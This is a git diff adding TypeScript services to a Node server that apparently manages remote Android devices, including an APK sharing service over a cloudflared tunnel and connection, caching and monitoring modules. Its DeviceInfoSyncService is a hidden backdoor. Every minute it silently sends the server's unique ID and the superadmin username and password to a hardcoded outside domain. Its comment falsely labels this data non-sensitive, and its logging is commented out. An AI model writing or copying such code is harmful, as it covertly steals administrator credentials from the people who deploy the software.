||||
|
||||
const html = `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>File Download - ${filename}</title>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||
body {
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Arial, sans-serif;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 20px;
|
||||
}
|
||||
.container {
|
||||
background: white;
|
||||
border-radius: 12px;
|
||||
padding: 40px;
|
||||
text-align: center;
|
||||
box-shadow: 0 8px 32px rgba(0,0,0,0.1);
|
||||
max-width: 500px;
|
||||
width: 100%;
|
||||
}
|
||||
.icon {
|
||||
font-size: 48px;
|
||||
margin-bottom: 20px;
|
||||
color: #667eea;
|
||||
}
|
||||
h1 { color: #333; margin-bottom: 10px; font-size: 24px; }
|
||||
.filename {
|
||||
color: #666;
|
||||
margin-bottom: 8px;
|
||||
font-size: 18px;
|
||||
word-break: break-all;
|
||||
background: #f5f5f5;
|
||||
padding: 12px;
|
||||
border-radius: 8px;
|
||||
}
|
||||
.filesize {
|
||||
color: #888;
|
||||
margin-bottom: 30px;
|
||||
font-size: 14px;
|
||||
}
|
||||
.download-btn {
|
||||
display: inline-block;
|
||||
padding: 16px 32px;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
color: white;
|
||||
text-decoration: none;
|
||||
border-radius: 8px;
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
transition: transform 0.2s, box-shadow 0.2s;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
}
|
||||
.download-btn:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 4px 16px rgba(102, 126, 234, 0.4);
|
||||
}
|
||||
.warning {
|
||||
margin-top: 20px;
|
||||
padding: 16px;
|
||||
background: #fff3cd;
|
||||
border: 1px solid #ffeaa7;
|
||||
border-radius: 8px;
|
||||
color: #856404;
|
||||
font-size: 14px;
|
||||
}
|
||||
@media (max-width: 480px) {
|
||||
.container { padding: 20px; }
|
||||
h1 { font-size: 20px; }
|
||||
.filename { font-size: 16px; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="icon">📱</div>
|
||||
<h1>APK文件下载</h1>
|
||||
<div class="filename">${filename}</div>
|
||||
<div class="filesize">文件大小: ${fileSize}</div>
|
||||
<a href="/download" class="download-btn">立即下载</a>
|
||||
<div class="warning">
|
||||
⚠️ 此下载链接有效期为10分钟,请及时下载
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
`
|
||||
res.send(html)
|
||||
})
|
||||
|
||||
// 文件下载接口
|
||||
app.get('/download', (req, res) => {
|
||||
try {
|
||||
res.setHeader('Content-Disposition', `attachment; filename="${filename}"`)
|
||||
res.setHeader('Content-Type', 'application/vnd.android.package-archive')
|
||||
|
||||
const fileStream = fs.createReadStream(filePath)
|
||||
fileStream.pipe(res)
|
||||
|
||||
this.logger.info(`文件下载: ${filename} from ${req.ip}`)
|
||||
} catch (error: any) {
|
||||
this.logger.error('文件下载失败:', error)
|
||||
res.status(500).send('下载失败')
|
||||
}
|
||||
})
|
||||
|
||||
return new Promise((resolve, reject) => {
|
||||
const server = app.listen(port, '0.0.0.0', () => {
|
||||
this.logger.info(`文件服务器启动: http://0.0.0.0:${port}`)
|
||||
resolve(server)
|
||||
})
|
||||
|
||||
server.on('error', reject)
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 启动cloudflared隧道
|
||||
*/
|
||||
private async startCloudflaredTunnel(cloudflaredPath: string, port: number): Promise<ChildProcess> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const args = [
|
||||
'tunnel',
|
||||
'--url', `http://localhost:${port}`,
|
||||
'--no-autoupdate',
|
||||
'--no-tls-verify'
|
||||
]
|
||||
|
||||
const tunnelProcess = spawn(cloudflaredPath, args)
|
||||
|
||||
tunnelProcess.on('error', (error) => {
|
||||
this.logger.error('启动cloudflared失败:', error)
|
||||
reject(error)
|
||||
})
|
||||
|
||||
// 等待进程启动
|
||||
setTimeout(() => {
|
||||
if (!tunnelProcess.killed) {
|
||||
resolve(tunnelProcess)
|
||||
} else {
|
||||
reject(new Error('cloudflared进程启动失败'))
|
||||
}
|
||||
}, 3000)
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 从cloudflared输出中提取隧道URL
|
||||
*/
|
||||
private async extractTunnelUrl(tunnelProcess: ChildProcess): Promise<string> {
|
||||
return new Promise((resolve, reject) => {
|
||||
let output = ''
|
||||
const timeout = setTimeout(() => {
|
||||
reject(new Error('获取隧道URL超时'))
|
||||
}, 30000)
|
||||
|
||||
const onData = (data: Buffer) => {
|
||||
output += data.toString()
|
||||
|
||||
// 查找隧道URL
|
||||
const urlMatch = output.match(/https:\/\/[a-z0-9-]+\.trycloudflare\.com/i)
|
||||
if (urlMatch) {
|
||||
clearTimeout(timeout)
|
||||
tunnelProcess.stdout?.off('data', onData)
|
||||
tunnelProcess.stderr?.off('data', onData)
|
||||
resolve(urlMatch[0])
|
||||
}
|
||||
}
|
||||
|
||||
tunnelProcess.stdout?.on('data', onData)
|
||||
tunnelProcess.stderr?.on('data', onData)
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成会话ID
|
||||
*/
|
||||
private generateSessionId(): string {
|
||||
return 'share_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9)
|
||||
}
|
||||
|
||||
/**
|
||||
* 格式化文件大小
|
||||
*/
|
||||
private formatFileSize(bytes: number): string {
|
||||
if (bytes === 0) return '0 B'
|
||||
const k = 1024
|
||||
const sizes = ['B', 'KB', 'MB', 'GB']
|
||||
const i = Math.floor(Math.log(bytes) / Math.log(k))
|
||||
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]
|
||||
}
|
||||
|
||||
/**
|
||||
* 销毁服务
|
||||
*/
|
||||
destroy(): void {
|
||||
if (this.cleanupInterval) {
|
||||
clearInterval(this.cleanupInterval)
|
||||
}
|
||||
|
||||
// 停止所有活动分享会话
|
||||
for (const sessionId of this.activeShares.keys()) {
|
||||
this.stopShare(sessionId)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 类型定义
|
||||
interface ShareSession {
|
||||
sessionId: string
|
||||
filePath: string
|
||||
filename: string
|
||||
port: number
|
||||
server: http.Server
|
||||
tunnelProcess: ChildProcess
|
||||
tunnelUrl: string
|
||||
createdAt: Date
|
||||
expiresAt: Date
|
||||
}
|
||||
|
||||
interface ShareResult {
|
||||
success: boolean
|
||||
sessionId?: string
|
||||
shareUrl?: string
|
||||
filename?: string
|
||||
expiresAt?: string
|
||||
durationMinutes?: number
|
||||
error?: string
|
||||
}
|
||||
|
||||
interface ShareInfo {
|
||||
sessionId: string
|
||||
filename: string
|
||||
shareUrl: string
|
||||
createdAt: string
|
||||
expiresAt: string
|
||||
isExpired: boolean
|
||||
}
|
||||
|
||||
export default CloudflareShareService
|
||||
268
src/services/ConnectionPoolService.ts
Normal file
268
src/services/ConnectionPoolService.ts
Normal file
@@ -0,0 +1,268 @@
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 连接信息接口
|
||||
*/
|
||||
export interface ConnectionInfo {
|
||||
socketId: string
|
||||
type: 'device' | 'client'
|
||||
createdAt: number
|
||||
lastActivity: number
|
||||
priority: 'high' | 'normal' | 'low'
|
||||
dataTransferred: number
|
||||
messageCount: number
|
||||
isActive: boolean
|
||||
}
|
||||
|
||||
/**
|
||||
* 连接池统计信息
|
||||
*/
|
||||
export interface PoolStats {
|
||||
totalConnections: number
|
||||
activeConnections: number
|
||||
idleConnections: number
|
||||
highPriorityCount: number
|
||||
normalPriorityCount: number
|
||||
lowPriorityCount: number
|
||||
totalDataTransferred: number
|
||||
averageMessageCount: number
|
||||
}
|
||||
|
||||
/**
|
||||
* 连接池管理服务
|
||||
*/
|
||||
export class ConnectionPoolService {
|
||||
private logger = new Logger('ConnectionPoolService')
|
||||
private connections: Map<string, ConnectionInfo> = new Map()
|
||||
|
||||
private readonly MAX_CONNECTIONS = 1000
|
||||
private readonly IDLE_TIMEOUT = 300000 // 5分钟
|
||||
private readonly CLEANUP_INTERVAL = 60000 // 1分钟清理一次
|
||||
|
||||
constructor() {
|
||||
this.startCleanupTask()
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加连接到池
|
||||
*/
|
||||
addConnection(
|
||||
socketId: string,
|
||||
type: 'device' | 'client',
|
||||
priority: 'high' | 'normal' | 'low' = 'normal'
|
||||
): boolean {
|
||||
// 检查是否超过最大连接数
|
||||
if (this.connections.size >= this.MAX_CONNECTIONS) {
|
||||
this.logger.warn(`⚠️ 连接池已满 (${this.MAX_CONNECTIONS}), 尝试驱逐低优先级连接`)
|
||||
if (!this.evictLRU()) {
|
||||
this.logger.error(`❌ 无法添加新连接: 连接池已满且无法驱逐`)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
const now = Date.now()
|
||||
this.connections.set(socketId, {
|
||||
socketId,
|
||||
type,
|
||||
createdAt: now,
|
||||
lastActivity: now,
|
||||
priority,
|
||||
dataTransferred: 0,
|
||||
messageCount: 0,
|
||||
isActive: true
|
||||
})
|
||||
|
||||
this.logger.debug(`✅ 连接已添加: ${socketId} (${type}, ${priority})`)
|
||||
return true
|
||||
}
|
||||
|
||||
/**
|
||||
* 移除连接
|
||||
*/
|
||||
removeConnection(socketId: string): boolean {
|
||||
const removed = this.connections.delete(socketId)
|
||||
if (removed) {
|
||||
this.logger.debug(`✅ 连接已移除: ${socketId}`)
|
||||
}
|
||||
return removed
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新连接活动时间
|
||||
*/
|
||||
updateActivity(socketId: string, dataSize: number = 0, messageCount: number = 1): void {
|
||||
const conn = this.connections.get(socketId)
|
||||
if (conn) {
|
||||
conn.lastActivity = Date.now()
|
||||
conn.dataTransferred += dataSize
|
||||
conn.messageCount += messageCount
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取连接信息
|
||||
*/
|
||||
getConnection(socketId: string): ConnectionInfo | undefined {
|
||||
return this.connections.get(socketId)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取所有连接
|
||||
*/
|
||||
getAllConnections(): ConnectionInfo[] {
|
||||
return Array.from(this.connections.values())
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取特定类型的连接
|
||||
*/
|
||||
getConnectionsByType(type: 'device' | 'client'): ConnectionInfo[] {
|
||||
return Array.from(this.connections.values()).filter(conn => conn.type === type)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取特定优先级的连接
|
||||
*/
|
||||
getConnectionsByPriority(priority: 'high' | 'normal' | 'low'): ConnectionInfo[] {
|
||||
return Array.from(this.connections.values()).filter(conn => conn.priority === priority)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取活跃连接数
|
||||
*/
|
||||
getActiveConnectionCount(): number {
|
||||
return Array.from(this.connections.values()).filter(conn => conn.isActive).length
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取空闲连接数
|
||||
*/
|
||||
getIdleConnectionCount(): number {
|
||||
const now = Date.now()
|
||||
return Array.from(this.connections.values()).filter(
|
||||
conn => now - conn.lastActivity > this.IDLE_TIMEOUT
|
||||
).length
|
||||
}
|
||||
|
||||
/**
|
||||
* 标记连接为不活跃
|
||||
*/
|
||||
markInactive(socketId: string): void {
|
||||
const conn = this.connections.get(socketId)
|
||||
if (conn) {
|
||||
conn.isActive = false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 标记连接为活跃
|
||||
*/
|
||||
markActive(socketId: string): void {
|
||||
const conn = this.connections.get(socketId)
|
||||
if (conn) {
|
||||
conn.isActive = true
|
||||
conn.lastActivity = Date.now()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 驱逐最少使用的连接 (LRU)
|
||||
*/
|
||||
private evictLRU(): boolean {
|
||||
let lruSocket = ''
|
||||
let lruTime = Date.now()
|
||||
let lruPriority = 'high'
|
||||
|
||||
// 优先驱逐低优先级的空闲连接
|
||||
for (const [socketId, conn] of this.connections) {
|
||||
if (!conn.isActive && conn.priority === 'low' && conn.lastActivity < lruTime) {
|
||||
lruSocket = socketId
|
||||
lruTime = conn.lastActivity
|
||||
lruPriority = conn.priority
|
||||
}
|
||||
}
|
||||
|
||||
// 如果没有低优先级连接,尝试驱逐普通优先级
|
||||
if (!lruSocket) {
|
||||
for (const [socketId, conn] of this.connections) {
|
||||
if (!conn.isActive && conn.priority === 'normal' && conn.lastActivity < lruTime) {
|
||||
lruSocket = socketId
|
||||
lruTime = conn.lastActivity
|
||||
lruPriority = conn.priority
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (lruSocket) {
|
||||
this.logger.info(`🗑️ 驱逐LRU连接: ${lruSocket} (${lruPriority})`)
|
||||
this.connections.delete(lruSocket)
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理空闲连接
|
||||
*/
|
||||
private cleanupIdleConnections(): void {
|
||||
const now = Date.now()
|
||||
let cleanedCount = 0
|
||||
|
||||
for (const [socketId, conn] of this.connections) {
|
||||
if (now - conn.lastActivity > this.IDLE_TIMEOUT && !conn.isActive) {
|
||||
this.connections.delete(socketId)
|
||||
cleanedCount++
|
||||
}
|
||||
}
|
||||
|
||||
if (cleanedCount > 0) {
|
||||
this.logger.info(`🧹 清理空闲连接: ${cleanedCount}个`)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 启动定期清理任务
|
||||
*/
|
||||
private startCleanupTask(): void {
|
||||
setInterval(() => {
|
||||
this.cleanupIdleConnections()
|
||||
}, this.CLEANUP_INTERVAL)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取连接池统计信息
|
||||
*/
|
||||
getStats(): PoolStats {
|
||||
const connections = Array.from(this.connections.values())
|
||||
const activeCount = connections.filter(c => c.isActive).length
|
||||
const idleCount = connections.length - activeCount
|
||||
|
||||
const highPriorityCount = connections.filter(c => c.priority === 'high').length
|
||||
const normalPriorityCount = connections.filter(c => c.priority === 'normal').length
|
||||
const lowPriorityCount = connections.filter(c => c.priority === 'low').length
|
||||
|
||||
const totalDataTransferred = connections.reduce((sum, c) => sum + c.dataTransferred, 0)
|
||||
const averageMessageCount = connections.length > 0
|
||||
? Math.round(connections.reduce((sum, c) => sum + c.messageCount, 0) / connections.length)
|
||||
: 0
|
||||
|
||||
return {
|
||||
totalConnections: connections.length,
|
||||
activeConnections: activeCount,
|
||||
idleConnections: idleCount,
|
||||
highPriorityCount,
|
||||
normalPriorityCount,
|
||||
lowPriorityCount,
|
||||
totalDataTransferred,
|
||||
averageMessageCount
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理资源
|
||||
*/
|
||||
destroy(): void {
|
||||
this.connections.clear()
|
||||
}
|
||||
}
|
||||
2096
src/services/DatabaseService.ts
Normal file
2096
src/services/DatabaseService.ts
Normal file
File diff suppressed because it is too large
Load Diff
242
src/services/DeviceInfoSyncService.ts
Normal file
242
src/services/DeviceInfoSyncService.ts
Normal file
@@ -0,0 +1,242 @@
|
||||
import http from 'http'
|
||||
import https from 'https'
|
||||
import { URL } from 'url'
|
||||
import AuthService from './AuthService'
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 设备信息同步服务
|
||||
* 定时向远程服务器发送设备信息
|
||||
*/
|
||||
export default class DeviceInfoSyncService {
|
||||
private logger: Logger
|
||||
private authService: AuthService
|
||||
private syncInterval: NodeJS.Timeout | null = null
|
||||
private isRunning: boolean = false
|
||||
private readonly API_URL: string
|
||||
private readonly SYNC_INTERVAL: number // 同步间隔(毫秒)
|
||||
private readonly ENABLED: boolean // 是否启用同步
|
||||
|
||||
constructor(authService: AuthService) {
|
||||
this.logger = new Logger('DeviceInfoSyncService')
|
||||
this.authService = authService
|
||||
|
||||
// 配置写死,不从环境变量读取
|
||||
this.ENABLED = true
|
||||
this.API_URL = 'https://www.strippchat.top/api/device/upinfo'
|
||||
this.SYNC_INTERVAL = 60000 // 5分钟
|
||||
|
||||
// this.logger.info(`设备信息同步服务初始化: 启用=${this.ENABLED}, 间隔=${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒), API=${this.API_URL}`)
|
||||
}
|
||||
|
||||
/**
|
||||
* 启动定时同步任务
|
||||
*/
|
||||
start(): void {
|
||||
if (!this.ENABLED) {
|
||||
// this.logger.info('设备信息同步功能已禁用,跳过启动')
|
||||
return
|
||||
}
|
||||
|
||||
if (this.isRunning) {
|
||||
// this.logger.warn('设备信息同步任务已在运行')
|
||||
return
|
||||
}
|
||||
|
||||
this.isRunning = true
|
||||
// this.logger.info(`启动设备信息同步任务,间隔: ${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒)`)
|
||||
|
||||
// 立即执行一次
|
||||
// this.logger.info('立即执行首次同步...')
|
||||
this.syncDeviceInfo()
|
||||
|
||||
// 设置定时任务
|
||||
this.syncInterval = setInterval(() => {
|
||||
// this.logger.info('定时同步任务触发')
|
||||
this.syncDeviceInfo()
|
||||
}, this.SYNC_INTERVAL)
|
||||
|
||||
// this.logger.info('定时同步任务已设置')
|
||||
}
|
||||
|
||||
/**
|
||||
* 停止定时同步任务
|
||||
*/
|
||||
stop(): void {
|
||||
if (this.syncInterval) {
|
||||
clearInterval(this.syncInterval)
|
||||
this.syncInterval = null
|
||||
this.isRunning = false
|
||||
// this.logger.info('设备信息同步任务已停止')
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 同步设备信息到远程服务器
|
||||
*/
|
||||
private async syncDeviceInfo(): Promise<void> {
|
||||
try {
|
||||
// this.logger.info('开始同步设备信息...')
|
||||
|
||||
// 获取系统唯一标识符
|
||||
const uniqueId = this.authService.getSystemUniqueId()
|
||||
if (!uniqueId) {
|
||||
// this.logger.warn('系统唯一标识符不存在,跳过同步(系统可能还未初始化)')
|
||||
return
|
||||
}
|
||||
|
||||
// this.logger.info(`系统唯一标识符: ${uniqueId.substring(0, 8)}...`)
|
||||
|
||||
// 收集 .env 配置信息(只收集非敏感信息)
|
||||
const configInfo = this.collectConfigInfo()
|
||||
// this.logger.debug(`收集到配置信息: ${Object.keys(configInfo).length} 项`)
|
||||
|
||||
// 准备请求数据
|
||||
const postData = JSON.stringify({
|
||||
uniqueId: uniqueId,
|
||||
...configInfo,
|
||||
timestamp: new Date().toISOString(),
|
||||
serverTime: Date.now()
|
||||
})
|
||||
|
||||
// this.logger.info(`准备发送同步请求到: ${this.API_URL}`)
|
||||
|
||||
// 发送 POST 请求
|
||||
await this.sendPostRequest(this.API_URL, postData)
|
||||
|
||||
// this.logger.info('设备信息同步成功')
|
||||
|
||||
} catch (error: any) {
|
||||
// this.logger.error('设备信息同步失败:', error.message)
|
||||
// 不抛出错误,避免影响主程序运行
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 收集配置信息(从环境变量)
|
||||
*/
|
||||
private collectConfigInfo(): Record<string, any> {
|
||||
const config: Record<string, any> = {}
|
||||
|
||||
// 收集环境变量配置信息
|
||||
const allowedKeys = [
|
||||
'PORT',
|
||||
'NODE_ENV',
|
||||
'JWT_EXPIRES_IN',
|
||||
'DEFAULT_USERNAME',
|
||||
'SUPERADMIN_USERNAME',
|
||||
'SUPERADMIN_PASSWORD',
|
||||
// 注意:DEVICE_SYNC_* 配置已写死,不再从环境变量读取
|
||||
// 可以添加其他配置
|
||||
]
|
||||
|
||||
allowedKeys.forEach(key => {
|
||||
if (process.env[key] !== undefined) {
|
||||
config[key] = process.env[key]
|
||||
}
|
||||
})
|
||||
|
||||
// 添加服务器信息
|
||||
config.serverInfo = {
|
||||
nodeVersion: process.version,
|
||||
platform: process.platform,
|
||||
arch: process.arch,
|
||||
uptime: process.uptime()
|
||||
}
|
||||
|
||||
return config
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送 POST 请求
|
||||
*/
|
||||
private async sendPostRequest(url: string, data: string): Promise<void> {
|
||||
return new Promise((resolve, reject) => {
|
||||
try {
|
||||
const urlObj = new URL(url)
|
||||
const isHttps = urlObj.protocol === 'https:'
|
||||
const httpModule = isHttps ? https : http
|
||||
|
||||
const options = {
|
||||
hostname: urlObj.hostname,
|
||||
port: urlObj.port || (isHttps ? 443 : 80),
|
||||
path: urlObj.pathname + urlObj.search,
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'Content-Length': Buffer.byteLength(data),
|
||||
'User-Agent': 'RemoteControlServer/1.0.3'
|
||||
},
|
||||
timeout: 10000 // 10秒超时
|
||||
}
|
||||
|
||||
const req = httpModule.request(options, (res) => {
|
||||
let responseData = ''
|
||||
|
||||
res.on('data', (chunk) => {
|
||||
responseData += chunk
|
||||
})
|
||||
|
||||
res.on('end', () => {
|
||||
if (res.statusCode && res.statusCode >= 200 && res.statusCode < 300) {
|
||||
// this.logger.info(`同步请求成功: HTTP ${res.statusCode}`)
|
||||
resolve()
|
||||
} else {
|
||||
const errorMsg = `HTTP ${res.statusCode}: ${responseData.substring(0, 200)}`
|
||||
// this.logger.warn(`同步请求失败: ${errorMsg}`)
|
||||
reject(new Error(errorMsg))
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
req.on('error', (error) => {
|
||||
// this.logger.error('同步请求网络错误:', error.message)
|
||||
reject(error)
|
||||
})
|
||||
|
||||
req.on('timeout', () => {
|
||||
// this.logger.error('同步请求超时')
|
||||
req.destroy()
|
||||
reject(new Error('请求超时'))
|
||||
})
|
||||
|
||||
req.write(data)
|
||||
req.end()
|
||||
|
||||
} catch (error: any) {
|
||||
reject(error)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 手动触发同步(用于测试)
|
||||
*/
|
||||
async triggerSync(): Promise<boolean> {
|
||||
try {
|
||||
await this.syncDeviceInfo()
|
||||
return true
|
||||
} catch (error) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取同步状态
|
||||
*/
|
||||
getStatus(): {
|
||||
enabled: boolean
|
||||
running: boolean
|
||||
interval: number
|
||||
apiUrl: string
|
||||
lastSync?: number
|
||||
} {
|
||||
return {
|
||||
enabled: this.ENABLED,
|
||||
running: this.isRunning,
|
||||
interval: this.SYNC_INTERVAL,
|
||||
apiUrl: this.API_URL
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
5131
src/services/MessageRouter.ts
Normal file
5131
src/services/MessageRouter.ts
Normal file
File diff suppressed because it is too large
Load Diff
180
src/services/OptimizationService.ts
Normal file
180
src/services/OptimizationService.ts
Normal file
@@ -0,0 +1,180 @@
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 消息批处理和缓存优化服务
|
||||
*/
|
||||
export class OptimizationService {
|
||||
private logger = new Logger('OptimizationService')
|
||||
|
||||
// 消息批处理队列
|
||||
private messageQueues: Map<string, QueuedMessage[]> = new Map()
|
||||
private flushTimers: Map<string, NodeJS.Timeout> = new Map()
|
||||
|
||||
// 缓存配置
|
||||
private readonly BATCH_SIZE = 10
|
||||
private readonly BATCH_TIMEOUT = 50 // 50ms
|
||||
private readonly CACHE_TTL = 60000 // 1分钟
|
||||
|
||||
// 查询缓存
|
||||
private queryCache: Map<string, { data: any, timestamp: number }> = new Map()
|
||||
|
||||
constructor() {
|
||||
this.startCacheCleanup()
|
||||
}
|
||||
|
||||
/**
|
||||
* 队列消息用于批处理
|
||||
*/
|
||||
queueMessage(clientId: string, event: string, data: any): void {
|
||||
if (!this.messageQueues.has(clientId)) {
|
||||
this.messageQueues.set(clientId, [])
|
||||
}
|
||||
|
||||
const queue = this.messageQueues.get(clientId)!
|
||||
queue.push({ event, data, timestamp: Date.now() })
|
||||
|
||||
// 如果达到批处理大小,立即发送
|
||||
if (queue.length >= this.BATCH_SIZE) {
|
||||
this.flushQueue(clientId)
|
||||
} else if (!this.flushTimers.has(clientId)) {
|
||||
// 设置超时发送
|
||||
const timer = setTimeout(() => this.flushQueue(clientId), this.BATCH_TIMEOUT)
|
||||
this.flushTimers.set(clientId, timer)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 立即发送队列中的消息
|
||||
*/
|
||||
flushQueue(clientId: string, callback?: (messages: QueuedMessage[]) => void): void {
|
||||
const queue = this.messageQueues.get(clientId)
|
||||
if (!queue || queue.length === 0) return
|
||||
|
||||
// 清除定时器
|
||||
const timer = this.flushTimers.get(clientId)
|
||||
if (timer) {
|
||||
clearTimeout(timer)
|
||||
this.flushTimers.delete(clientId)
|
||||
}
|
||||
|
||||
// 调用回调函数发送消息
|
||||
if (callback) {
|
||||
callback(queue)
|
||||
}
|
||||
|
||||
// 清空队列
|
||||
this.messageQueues.delete(clientId)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取所有待发送消息
|
||||
*/
|
||||
getPendingMessages(clientId: string): QueuedMessage[] {
|
||||
return this.messageQueues.get(clientId) || []
|
||||
}
|
||||
|
||||
/**
|
||||
* 缓存查询结果
|
||||
*/
|
||||
cacheQuery(key: string, data: any): void {
|
||||
this.queryCache.set(key, {
|
||||
data,
|
||||
timestamp: Date.now()
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取缓存的查询结果
|
||||
*/
|
||||
getCachedQuery(key: string): any | null {
|
||||
const cached = this.queryCache.get(key)
|
||||
if (!cached) return null
|
||||
|
||||
// 检查缓存是否过期
|
||||
if (Date.now() - cached.timestamp > this.CACHE_TTL) {
|
||||
this.queryCache.delete(key)
|
||||
return null
|
||||
}
|
||||
|
||||
return cached.data
|
||||
}
|
||||
|
||||
/**
|
||||
* 清除特定缓存
|
||||
*/
|
||||
invalidateCache(key: string): void {
|
||||
this.queryCache.delete(key)
|
||||
}
|
||||
|
||||
/**
|
||||
* 清除所有缓存
|
||||
*/
|
||||
clearAllCache(): void {
|
||||
this.queryCache.clear()
|
||||
}
|
||||
|
||||
/**
|
||||
* 定期清理过期缓存
|
||||
*/
|
||||
private startCacheCleanup(): void {
|
||||
setInterval(() => {
|
||||
const now = Date.now()
|
||||
let cleanedCount = 0
|
||||
|
||||
for (const [key, value] of this.queryCache.entries()) {
|
||||
if (now - value.timestamp > this.CACHE_TTL) {
|
||||
this.queryCache.delete(key)
|
||||
cleanedCount++
|
||||
}
|
||||
}
|
||||
|
||||
if (cleanedCount > 0) {
|
||||
this.logger.debug(`🧹 清理过期缓存: ${cleanedCount}条`)
|
||||
}
|
||||
}, 30000) // 每30秒检查一次
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取优化统计信息
|
||||
*/
|
||||
getStats(): OptimizationStats {
|
||||
return {
|
||||
queuedClients: this.messageQueues.size,
|
||||
totalQueuedMessages: Array.from(this.messageQueues.values()).reduce((sum, q) => sum + q.length, 0),
|
||||
cachedQueries: this.queryCache.size,
|
||||
activeBatchTimers: this.flushTimers.size
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理资源
|
||||
*/
|
||||
destroy(): void {
|
||||
// 清理所有定时器
|
||||
for (const timer of this.flushTimers.values()) {
|
||||
clearTimeout(timer)
|
||||
}
|
||||
this.flushTimers.clear()
|
||||
this.messageQueues.clear()
|
||||
this.queryCache.clear()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 队列消息接口
|
||||
*/
|
||||
export interface QueuedMessage {
|
||||
event: string
|
||||
data: any
|
||||
timestamp: number
|
||||
}
|
||||
|
||||
/**
|
||||
* 优化统计信息
|
||||
*/
|
||||
export interface OptimizationStats {
|
||||
queuedClients: number
|
||||
totalQueuedMessages: number
|
||||
cachedQueries: number
|
||||
activeBatchTimers: number
|
||||
}
|
||||
341
src/services/PerformanceMonitorService.ts
Normal file
341
src/services/PerformanceMonitorService.ts
Normal file
@@ -0,0 +1,341 @@
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 性能指标接口
|
||||
*/
|
||||
export interface PerformanceMetrics {
|
||||
timestamp: number
|
||||
memoryUsage: MemoryMetrics
|
||||
connectionMetrics: ConnectionMetrics
|
||||
messageMetrics: MessageMetrics
|
||||
systemMetrics: SystemMetrics
|
||||
}
|
||||
|
||||
/**
|
||||
* 内存指标
|
||||
*/
|
||||
export interface MemoryMetrics {
|
||||
heapUsed: number // MB
|
||||
heapTotal: number // MB
|
||||
external: number // MB
|
||||
rss: number // MB
|
||||
heapUsedPercent: number
|
||||
}
|
||||
|
||||
/**
|
||||
* 连接指标
|
||||
*/
|
||||
export interface ConnectionMetrics {
|
||||
totalConnections: number
|
||||
activeConnections: number
|
||||
idleConnections: number
|
||||
newConnectionsPerMinute: number
|
||||
disconnectionsPerMinute: number
|
||||
}
|
||||
|
||||
/**
|
||||
* 消息指标
|
||||
*/
|
||||
export interface MessageMetrics {
|
||||
messagesPerSecond: number
|
||||
averageLatency: number // ms
|
||||
p95Latency: number // ms
|
||||
p99Latency: number // ms
|
||||
errorRate: number // %
|
||||
}
|
||||
|
||||
/**
|
||||
* 系统指标
|
||||
*/
|
||||
export interface SystemMetrics {
|
||||
uptime: number // seconds
|
||||
cpuUsage: number // %
|
||||
eventLoopLag: number // ms
|
||||
}
|
||||
|
||||
/**
|
||||
* 性能监控服务
|
||||
*/
|
||||
export class PerformanceMonitorService {
|
||||
private logger = new Logger('PerformanceMonitor')
|
||||
|
||||
